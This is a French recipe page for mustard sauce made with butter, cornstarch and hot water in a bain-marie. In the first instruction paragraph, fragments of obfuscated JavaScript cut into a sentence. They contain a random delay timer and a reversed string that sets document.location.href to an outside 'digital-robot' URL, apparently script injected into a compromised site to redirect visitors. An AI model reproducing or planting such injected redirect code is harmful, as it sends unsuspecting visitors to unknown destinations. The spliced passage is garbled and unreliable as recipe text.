Sauce moutarde
2017-11-26- Niveau : Facile
Cette sauce se prépare dans un bain-marie chaud.
Versez dans un grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bol, 2 cuillères à soupe de moutarde, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant avec le beurre que vous aurez coupé en petits morceaux, en veillant à ce que l’émulsion soit complète avant de remettre des morceaux de beurre.
Ingrédients
Comme vous le remarquez je n'ajoute pas d’huile d’olive dans mes recettes, car je considère qu’elle donne une amertume à tous les plats donc moins de saveur .
Cette sauce se prépare dans un bain-marie chaud.
Versez dans un grand bol, 2 cuillères à soupe de moutarde, tout en remuant avec le beurre que vous aurez coupé en petits morceaux, en veillant à ce que l'émulsion soit complète avant de remettre des morceaux de beurre. Lorsque le beurre est incorporé ajoutez peu à peu la maïzena, sans s'arrêter de mélanger. Versez par petites quantités le 1/2 verre d'eau chaude. Et obtenir une sauce lisse et homogène. Servez rapidement dans une saucière où en nappage.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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